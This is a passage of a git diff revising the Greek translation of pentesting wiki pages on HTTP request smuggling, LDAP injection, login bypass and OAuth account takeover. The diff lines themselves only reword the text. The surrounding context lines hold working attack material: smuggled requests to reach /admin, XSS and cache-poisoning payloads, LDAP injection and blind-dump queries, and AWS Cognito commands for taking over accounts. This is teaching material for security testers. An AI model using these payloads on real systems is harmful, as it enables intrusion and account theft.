παράκαμψη αυτών των περιορισμών. -Σκεφτείτε τα παρακάτω παραδείγματα που απεικονίζουν πώς το HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να παρακάμψει τους ελέγχους ασφαλείας front-end, στοχεύοντας συγκεκριμένα τη διαδρομή `/admin`, η οποία συνήθως φυλάσσεται από τον front-end διακομιστή: +Σκεφτείτε τα παρακάτω παραδείγματα που απεικονίζουν πώς το HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να παρακάμψει τους ελέγχους ασφαλείας front-end, στοχεύοντας συγκεκριμένα τη διαδρομή `/admin`, η οποία συνήθως φυλάσσεται από τον front-end διακομιστή μεσολάβησης: **CL.TE Παράδειγμα** ``` @@ -428,7 +428,7 @@ a=x ``` Αντίθετα, στην επίθεση TE.CL, το αρχικό `POST` αίτημα χρησιμοποιεί `Transfer-Encoding: chunked`, και το επόμενο ενσωματωμένο αίτημα επεξεργάζεται με βάση την κεφαλίδα `Content-Length`. Παρόμοια με την επίθεση CL.TE, ο προεπιλεγμένος διακομιστής παρακάμπτει το λαθραίο αίτημα `GET /admin`, παραχωρώντας ακούσια πρόσβαση στο περιορισμένο `/admin` μονοπάτι. -### Αποκάλυψη αναδιατύπωσης αιτήματος front-end +### Αποκάλυψη αναδιατύπωσης αιτήσεων front-end Οι εφαρμογές συχνά χρησιμοποιούν έναν **διακομιστή front-end** για να τροποποιούν τα εισερχόμενα αιτήματα πριν τα περάσουν στον διακομιστή back-end. Μια τυπική τροποποίηση περιλαμβάνει την προσθήκη κεφαλίδων, όπως `X-Forwarded-For: `, για να μεταφέρει τη διεύθυνση IP του πελάτη στον back-end. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς μπορεί να αποκαλύψει τρόπους για **να παρακαμφθούν οι προστασίες** ή **να αποκαλυφθούν κρυφές πληροφορίες ή σημεία πρόσβασης**. @@ -485,7 +485,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι τον διαχωριστή παραμέτρου που χρησιμοποιείται στο λαθραίο αίτημα. Για υποβολές φορμών με κωδικοποίηση URL, αυτός ο διαχωριστής είναι ο χαρακτήρας `&`. Αυτό σημαίνει ότι το καταγεγραμμένο περιεχόμενο από το αίτημα του θύματος θα σταματήσει στον πρώτο `&`, ο οποίος μπορεί ακόμη και να είναι μέρος της συμβολοσειράς ερωτήματος. -Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης εφικτή με μια ευπάθεια TE.CL. Σε τέτοιες περιπτώσεις, το αίτημα θα πρέπει να ολοκληρωθεί με `search=\r\n0`. Ανεξαρτήτως χαρακτήρων νέας γραμμής, οι τιμές θα προστεθούν στην παράμετρο αναζήτησης. +Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης βιώσιμη με μια ευπάθεια TE.CL. Σε τέτοιες περιπτώσεις, το αίτημα θα πρέπει να ολοκληρώνεται με `search=\r\n0`. Ανεξαρτήτως χαρακτήρων νέας γραμμής, οι τιμές θα προστεθούν στην παράμετρο αναζήτησης. ### Χρήση HTTP request smuggling για την εκμετάλλευση του Reflected XSS @@ -519,9 +519,9 @@ A= 1. Να ξεκινήσει ένα `POST` αίτημα, φαινομενικά τυπικό, με ένα `Transfer-Encoding: chunked` header για να υποδείξει την αρχή της λαθραίας μεταφοράς. 2. Να ακολουθήσει με ένα `0`, που σηματοδοτεί το τέλος του σώματος του chunked μηνύματος. -3. Στη συνέχεια, εισάγεται ένα λαθραίο `GET` αίτημα, όπου το header `User-Agent` είναι εγχυμένο με ένα script, ``, που ενεργοποιεί το XSS όταν ο διακομιστής επεξεργάζεται αυτό το επόμενο αίτημα. +3. Στη συνέχεια, εισάγεται ένα λαθραίο `GET` αίτημα, όπου το `User-Agent` header είναι εγχυμένο με ένα script, ``, που ενεργοποιεί το XSS όταν ο διακομιστής επεξεργάζεται αυτό το επόμενο αίτημα. -Με την παραποίηση του `User-Agent` μέσω της λαθραίας μεταφοράς, το payload παρακάμπτει τους κανονικούς περιορισμούς αιτημάτων, εκμεταλλευόμενο έτσι την ευπάθεια Reflected XSS με έναν μη τυπικό αλλά αποτελεσματικό τρόπο. +Με την παραποίηση του `User-Agent` μέσω λαθραίας μεταφοράς, το payload παρακάμπτει τους κανονικούς περιορισμούς αιτημάτων, εκμεταλλευόμενο έτσι την ευπάθεια Reflected XSS με έναν μη τυπικό αλλά αποτελεσματικό τρόπο. #### HTTP/0.9 @@ -534,7 +534,7 @@ A= ### Εκμετάλλευση Εντός Σελίδας Ανακατευθύνσεων με HTTP Request Smuggling -Οι εφαρμογές συχνά ανακατευθύνουν από μια διεύθυνση URL σε άλλη χρησιμοποιώντας το hostname από το header `Host` στην ανακατευθυνόμενη URL. Αυτό είναι κοινό με διακομιστές ιστού όπως ο Apache και ο IIS. Για παράδειγμα, η αίτηση ενός φακέλου χωρίς τελικό slash έχει ως αποτέλεσμα μια ανακατεύθυνση για να συμπεριληφθεί το slash: +Οι εφαρμογές συχνά ανακατευθύνουν από μια διεύθυνση URL σε άλλη χρησιμοποιώντας το hostname από το `Host` header στην ανακατευθυνόμενη URL. Αυτό είναι κοινό με διακομιστές ιστού όπως ο Apache και ο IIS. Για παράδειγμα, η αίτηση ενός φακέλου χωρίς τελικό slash έχει ως αποτέλεσμα μια ανακατεύθυνση για να συμπεριληφθεί το slash: ``` GET /home HTTP/1.1 Host: normal-website.com @@ -576,11 +576,11 @@ Location: https://attacker-website.com/home/ Η δηλητηρίαση cache ιστοσελίδας μπορεί να εκτελεστεί αν οποιοδήποτε στοιχείο της **υποδομής front-end αποθηκεύει περιεχόμενο στην cache**, συνήθως για να βελτιώσει την απόδοση. Με την παραποίηση της απάντησης του διακομιστή, είναι δυνατόν να **δηλητηριαστεί η cache**. -Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του διακομιστή θα μπορούσαν να τροποποιηθούν για να επιστρέψουν ένα σφάλμα 404 (ανατρέξτε σε [Basic Examples](#basic-examples)). Ομοίως, είναι εφικτό να ξεγελάσουμε τον διακομιστή ώστε να παραδώσει περιεχόμενο `/index.html` ως απάντηση σε ένα αίτημα για `/static/include.js`. Ως αποτέλεσμα, το περιεχόμενο `/static/include.js` αντικαθίσταται στην cache με αυτό του `/index.html`, καθιστώντας το `/static/include.js` μη προσβάσιμο στους χρήστες, δυνητικά οδηγώντας σε άρνηση υπηρεσίας (DoS). +Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του διακομιστή θα μπορούσαν να τροποποιηθούν για να επιστρέψουν ένα σφάλμα 404 (ανατρέξτε σε [Basic Examples](#basic-examples)). Ομοίως, είναι εφικτό να ξεγελάσουμε τον διακομιστή ώστε να παραδώσει περιεχόμενο `/index.html` ως απάντηση σε ένα αίτημα για `/static/include.js`. Ως αποτέλεσμα, το περιεχόμενο `/static/include.js` αντικαθίσταται στην cache με αυτό του `/index.html`, καθιστώντας το `/static/include.js` μη προσβάσιμο στους χρήστες, δυνητικά οδηγώντας σε Άρνηση Υπηρεσίας (DoS). Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή αν ανακαλυφθεί μια **ευπάθεια Open Redirect** ή αν υπάρχει **ανακατεύθυνση στον ιστότοπο σε μια ανοιχτή ανακατεύθυνση**. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το αποθηκευμένο περιεχόμενο του `/static/include.js` με ένα σενάριο υπό τον έλεγχο του επιτιθέμενου, επιτρέποντας ουσιαστικά μια εκτενή επίθεση Cross-Site Scripting (XSS) σε όλους τους πελάτες που ζητούν το ενημερωμένο `/static/include.js`. -Παρακάτω παρατίθεται μια απεικόνιση της εκμετάλλευσης **δηλητηρίασης cache σε συνδυασμό με μια ανακατεύθυνση στον ιστότοπο σε ανοιχτή ανακατεύθυνση**. Ο στόχος είναι να τροποποιηθεί το περιεχόμενο της cache του `/static/include.js` για να εξυπηρετήσει κώδικα JavaScript που ελέγχεται από τον επιτιθέμενο: +Παρακάτω είναι μια απεικόνιση της εκμετάλλευσης **δηλητηρίασης cache σε συνδυασμό με μια ανακατεύθυνση στον ιστότοπο σε ανοιχτή ανακατεύθυνση**. Ο στόχος είναι να τροποποιηθεί το περιεχόμενο της cache του `/static/include.js` για να εξυπηρετήσει κώδικα JavaScript υπό τον έλεγχο του επιτιθέμενου: ``` POST / HTTP/1.1 Host: vulnerable.net @@ -598,20 +598,20 @@ Content-Length: 10 x=1 ``` -Σημειώστε το ενσωματωμένο αίτημα που στοχεύει το `/post/next?postId=3`. Αυτό το αίτημα θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την **τιμή κεφαλίδας Host** για να προσδιορίσει το domain. Αλλάζοντας την **κεφαλίδα Host**, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στο domain του (**ανακατεύθυνση εντός του ιστότοπου σε ανοιχτή ανακατεύθυνση**). +Σημειώστε το ενσωματωμένο αίτημα που στοχεύει το `/post/next?postId=3`. Αυτό το αίτημα θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την **τιμή κεφαλίδας Host** για να προσδιορίσει το domain. Αλλάζοντας την **κεφαλίδα Host**, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στο domain του (**on-site redirect to open redirect**). -Μετά από επιτυχή **δηλητηρίαση socket**, θα πρέπει να ξεκινήσει ένα **GET αίτημα** για το `/static/include.js`. Αυτό το αίτημα θα μολυνθεί από το προηγούμενο αίτημα **ανακατεύθυνσης εντός του ιστότοπου σε ανοιχτή ανακατεύθυνση** και θα ανακτήσει το περιεχόμενο του script που ελέγχεται από τον επιτιθέμενο. +Μετά από επιτυχή **socket poisoning**, θα πρέπει να ξεκινήσει ένα **GET request** για το `/static/include.js`. Αυτό το αίτημα θα μολυνθεί από το προηγούμενο αίτημα **on-site redirect to open redirect** και θα ανακτήσει το περιεχόμενο του script που ελέγχεται από τον επιτιθέμενο. Στη συνέχεια, οποιοδήποτε αίτημα για το `/static/include.js` θα εξυπηρετεί το αποθηκευμένο περιεχόμενο του script του επιτιθέμενου, εκκινώντας αποτελεσματικά μια ευρεία επίθεση XSS. -### Χρήση HTTP request smuggling για την εκτέλεση απάτης web cache +### Using HTTP request smuggling to perform web cache deception -> **Ποια είναι η διαφορά μεταξύ δηλητηρίασης web cache και απάτης web cache;** +> **Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;** > -> - Στη **δηλητηρίαση web cache**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο εξυπηρετείται από την cache σε άλλους χρήστες της εφαρμογής. -> - Στην **απάτη web cache**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στην cache, και ο επιτιθέμενος στη συνέχεια ανακτά αυτό το περιεχόμενο από την cache. +> - Στο **web cache poisoning**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο εξυπηρετείται από την cache σε άλλους χρήστες της εφαρμογής. +> - Στο **web cache deception**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στην cache, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από την cache. -Ο επιτιθέμενος κατασκευάζει ένα μυστικό αίτημα που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένο για τον χρήστη. Σκεφτείτε το παρακάτω παράδειγμα: +Ο επιτιθέμενος κατασκευάζει ένα μολυσμένο αίτημα που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένο για τον χρήστη. Σκεφτείτε το παρακάτω παράδειγμα: ```markdown `POST / HTTP/1.1`\ `Host: vulnerable-website.com`\ @@ -626,7 +626,7 @@ x=1 ### Κατάχρηση του TRACE μέσω HTTP Request Smuggling -[**Σε αυτή την ανάρτηση**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι αν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατό να καταχραστεί με ένα HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα ανακλά οποιοδήποτε κεφαλίδα σταλεί στον διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα: +[**Σε αυτή την ανάρτηση**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι αν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατό να καταχραστεί με ένα HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα ανακλά οποιαδήποτε κεφαλίδα σταλεί στον διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα: ``` TRACE / HTTP/1.1 Host: example.com @@ -672,7 +672,7 @@ Content-Length: 44\r\n \r\n ``` -Θα δημιουργήσει αυτές τις απαντήσεις (σημειώστε πώς η απάντηση HEAD έχει ένα Content-Length που καθιστά την απάντηση TRACE μέρος του σώματος HEAD και μόλις τελειώσει το Content-Length HEAD, μια έγκυρη HTTP απάντηση είναι λαθραία): +Θα δημιουργήσει αυτές τις απαντήσεις (σημειώστε πώς η απάντηση HEAD έχει ένα Content-Length που καθιστά την απάντηση TRACE μέρος του σώματος της HEAD και μόλις τελειώσει το Content-Length της HEAD, μια έγκυρη HTTP απάντηση είναι λαθραία): ``` HTTP/1.1 200 OK Content-Type: text/html @@ -697,6 +697,7 @@ Content-Length: 50 Έχετε βρει κάποια ευπάθεια HTTP Request Smuggling και δεν ξέρετε πώς να την εκμεταλλευτείτε. Δοκιμάστε αυτές τις άλλες μεθόδους εκμετάλλευσης: + {{#ref}} ../http-response-smuggling-desync.md {{#endref}} @@ -705,12 +706,14 @@ Content-Length: 50 - Browser HTTP Request Smuggling (Client Side) + {{#ref}} browser-http-request-smuggling.md {{#endref}} - Request Smuggling σε HTTP/2 Downgrades + {{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}} @@ -824,10 +827,10 @@ table.add(req) - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -- Προσοχή στο ψευδώς θετικό: πώς να διακρίνετε την HTTP pipelining από τη συγχώνευση αιτημάτων – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) +- Προσοχή στην ψευδή θετική: πώς να διακρίνετε την HTTP pipelining από τη συγχώνευση αιτημάτων – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) - [https://http1mustdie.com/](https://http1mustdie.com/) - Επιθέσεις Desync με Ικανότητα Περιηγητή – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) -- PortSwigger Academy – επιθέσεις desync από την πλευρά του πελάτη – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) +- PortSwigger Academy – desync πλευράς πελάτη – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index a7d77e94a..d9be5f4ac 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -8,11 +8,12 @@ **Αν θέλετε να μάθετε τι είναι το LDAP, επισκεφθείτε την παρακάτω σελίδα:** + {{#ref}} ../network-services-pentesting/pentesting-ldap.md {{#endref}} -**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρηστών. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειριστούν δηλώσεις LDAP** μέσω τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειρισμό δεδομένων. +**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από την είσοδο του χρήστη. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειριστούν δηλώσεις LDAP** μέσω τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειρισμό δεδομένων. {{#file}} EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf @@ -56,7 +57,7 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf ### Login Bypass -Το LDAP υποστηρίζει διάφορες μορφές για την αποθήκευση του κωδικού πρόσβασης: clear, md5, smd5, sh1, sha, crypt. Έτσι, μπορεί να συμβαίνει ότι ανεξάρτητα από το τι εισάγετε μέσα στον κωδικό πρόσβασης, αυτός είναι κατακερματισμένος. +Το LDAP υποστηρίζει αρκετές μορφές για την αποθήκευση του κωδικού πρόσβασης: clear, md5, smd5, sh1, sha, crypt. Έτσι, μπορεί να συμβαίνει ότι ανεξάρτητα από το τι εισάγετε μέσα στον κωδικό πρόσβασης, αυτός είναι κωδικοποιημένος. ```bash user=* password=* @@ -119,7 +120,7 @@ password=any ### Blind LDAP Injection -Μπορείτε να αναγκάσετε ψευδείς ή αληθείς απαντήσεις για να ελέγξετε αν επιστρέφεται οποιαδήποτε δεδομένα και να επιβεβαιώσετε μια πιθανή Blind LDAP Injection: +Μπορείτε να αναγκάσετε ψευδείς ή αληθείς απαντήσεις για να ελέγξετε αν επιστρέφεται οποιοδήποτε δεδομένο και να επιβεβαιώσετε μια πιθανή Blind LDAP Injection: ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void @@ -133,7 +134,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P ``` #### Dump data -Μπορείτε να επαναλάβετε τα γράμματα ascii, τους ψηφιακούς χαρακτήρες και τα σύμβολα: +Μπορείτε να επαναλάβετε τα γράμματα ascii, τους αριθμούς και τα σύμβολα: ```bash (&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=A*)) : KO @@ -148,7 +149,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P #### **Ανακάλυψη έγκυρων πεδίων LDAP** -Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**τα προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). +Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξαγάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt). ```python #!/usr/bin/python3 import requests @@ -203,6 +204,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php ``` ### Περισσότερα Payloads + {{#ref}} https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection {{#endref}} diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md index 2cf31280e..0425ac6b2 100644 --- a/src/pentesting-web/login-bypass/README.md +++ b/src/pentesting-web/login-bypass/README.md @@ -7,7 +7,7 @@ Αν βρείτε μια σελίδα σύνδεσης, εδώ μπορείτε να βρείτε μερικές τεχνικές για να προσπαθήσετε να την παρακάμψετε: - Ελέγξτε για **σχόλια** μέσα στη σελίδα (κύληση προς τα κάτω και προς τα δεξιά;) -- Ελέγξτε αν μπορείτε να **έχετε άμεση πρόσβαση στις περιορισμένες σελίδες** +- Ελέγξτε αν μπορείτε να **πρόσβαση απευθείας στις περιορισμένες σελίδες** - Ελέγξτε να **μη στείλετε τις παραμέτρους** (μη στείλετε καμία ή μόνο 1) - Ελέγξτε το **σφάλμα συγκρίσεων PHP:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b` - **Αλλάξτε τον τύπο περιεχομένου σε json** και στείλτε τιμές json (συμπεριλαμβανομένου του bool true) @@ -84,7 +84,7 @@ admin))(|(| ## Άλλοι Έλεγχοι - Έλεγξε αν μπορείς να **αριθμήσεις ονόματα χρηστών** εκμεταλλευόμενος τη λειτουργία εισόδου. -- Έλεγξε αν είναι ενεργοποιημένο το **αυτόματη συμπλήρωση** στις φόρμες κωδικού/**ευαίσθητων** πληροφοριών **εισόδου:** `` +- Έλεγξε αν είναι ενεργοποιημένο το **αυτόματη συμπλήρωση** στις φόρμες **κωδικού/ευαίσθητων** πληροφοριών **εισόδου:** `` ## Αυτόματα Εργαλεία diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index 995745b14..6ce14b575 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -56,7 +56,7 @@ Host: socialmedia.com ### Ανοιχτό redirect_uri -Το `redirect_uri` είναι κρίσιμο για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθορίζει πού αποστέλλονται ευαίσθητα δεδομένα, όπως οι κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Εάν είναι κακώς ρυθμισμένο, μπορεί να επιτρέψει στους επιτιθέμενους να ανακατευθύνουν αυτά τα αιτήματα σε κακόβουλους διακομιστές, διευκολύνοντας την κατάληψη λογαριασμού. +Το `redirect_uri` είναι κρίσιμο για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθορίζει πού αποστέλλονται τα ευαίσθητα δεδομένα, όπως οι κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Εάν είναι κακώς ρυθμισμένο, μπορεί να επιτρέψει στους επιτιθέμενους να ανακατευθύνουν αυτές τις αιτήσεις σε κακόβουλους διακομιστές, διευκολύνοντας την κατάληψη λογαριασμού. Οι τεχνικές εκμετάλλευσης ποικίλλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορεί να κυμαίνονται από αυστηρή αντιστοίχιση διαδρομών έως αποδοχή οποιασδήποτε διεύθυνσης URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Κοινές μέθοδοι εκμετάλλευσης περιλαμβάνουν ανοιχτές ανακατευθύνσεις, διαδρομές διαδρομής, εκμετάλλευση αδύναμων regex και HTML injection για κλοπή διακριτικών. @@ -74,22 +74,22 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard -1. **Χωρίς Επικύρωση Email κατά τη Δημιουργία Λογαριασμού**: Οι επιτιθέμενοι μπορούν προληπτικά να δημιουργήσουν έναν λογαριασμό χρησιμοποιώντας το email του θύματος. Εάν το θύμα αργότερα χρησιμοποιήσει μια τρίτη υπηρεσία για είσοδο, η εφαρμογή μπορεί ακούσια να συνδέσει αυτόν τον τρίτο λογαριασμό με τον προδημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση. -2. **Εκμετάλλευση Χαλαρής Επικύρωσης Email OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επικυρώνουν τα emails, εγγραφόμενοι με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος κινδυνεύει επίσης με μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού επιθετικού διαύλου. +1. **Χωρίς Επικύρωση Email κατά τη Δημιουργία Λογαριασμού**: Οι επιτιθέμενοι μπορούν προληπτικά να δημιουργήσουν έναν λογαριασμό χρησιμοποιώντας το email του θύματος. Εάν το θύμα αργότερα χρησιμοποιήσει μια υπηρεσία τρίτου μέρους για είσοδο, η εφαρμογή μπορεί ακούσια να συνδέσει αυτόν τον λογαριασμό τρίτου μέρους με τον προδημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση. +2. **Εκμετάλλευση Χαλαρής Επικύρωσης Email OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επικυρώνουν emails, εγγραφόμενοι με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος κινδυνεύει επίσης από μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού επιθετικού καναλιού. ### Disclosure of Secrets -Η αναγνώριση και η προστασία των μυστικών παραμέτρων OAuth είναι κρίσιμη. Ενώ η **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη της **`client_secret`** ενέχει σημαντικούς κινδύνους. Εάν η `client_secret` παραβιαστεί, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να **κλέψουν τα `access_tokens` χρηστών** και ιδιωτικές πληροφορίες. +Η αναγνώριση και η προστασία των μυστικών παραμέτρων OAuth είναι κρίσιμη. Ενώ η **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη της **`client_secret`** ενέχει σημαντικούς κινδύνους. Εάν η `client_secret` παραβιαστεί, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να **κλέψουν `access_tokens` χρηστών** και ιδιωτικές πληροφορίες. -Μια κοινή ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται κατά λάθος την ανταλλαγή του `code` εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί για την πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην έκθεση της `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργούν `access_tokens` υπό την κάλυψη της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να κλιμακώσουν τα προνόμια προσθέτοντας επιπλέον πεδία στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής. +Μια κοινή ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται κατά λάθος την ανταλλαγή του authorization `code` για ένα `access_token` στην πλευρά του πελάτη αντί για την πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην έκθεση της `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την κάλυψη της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να κλιμακώσουν τα προνόμια προσθέτοντας επιπλέον scopes στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής. ### Client Secret Bruteforce @@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au ### AWS Cognito -Σε αυτή την αναφορά bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) μπορείτε να δείτε ότι το **token** που επιστρέφει ο **AWS Cognito** στον χρήστη μπορεί να έχει **αρκετές άδειες για να αντικαταστήσει τα δεδομένα του χρήστη**. Επομένως, αν μπορείτε να **αλλάξετε το email του χρήστη για ένα διαφορετικό email χρήστη**, μπορεί να είστε σε θέση να **αναλάβετε** άλλους λογαριασμούς. +Σε αυτή την αναφορά bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) μπορείτε να δείτε ότι το **token** που **επιστρέφει το AWS Cognito** στον χρήστη μπορεί να έχει **αρκετές άδειες για να αντικαταστήσει τα δεδομένα του χρήστη**. Επομένως, αν μπορείτε να **αλλάξετε το email του χρήστη για ένα διαφορετικό email χρήστη**, μπορεί να είστε σε θέση να **αναλάβετε** άλλους λογαριασμούς. ```bash # Read info of the user aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...] @@ -151,29 +151,29 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat ### 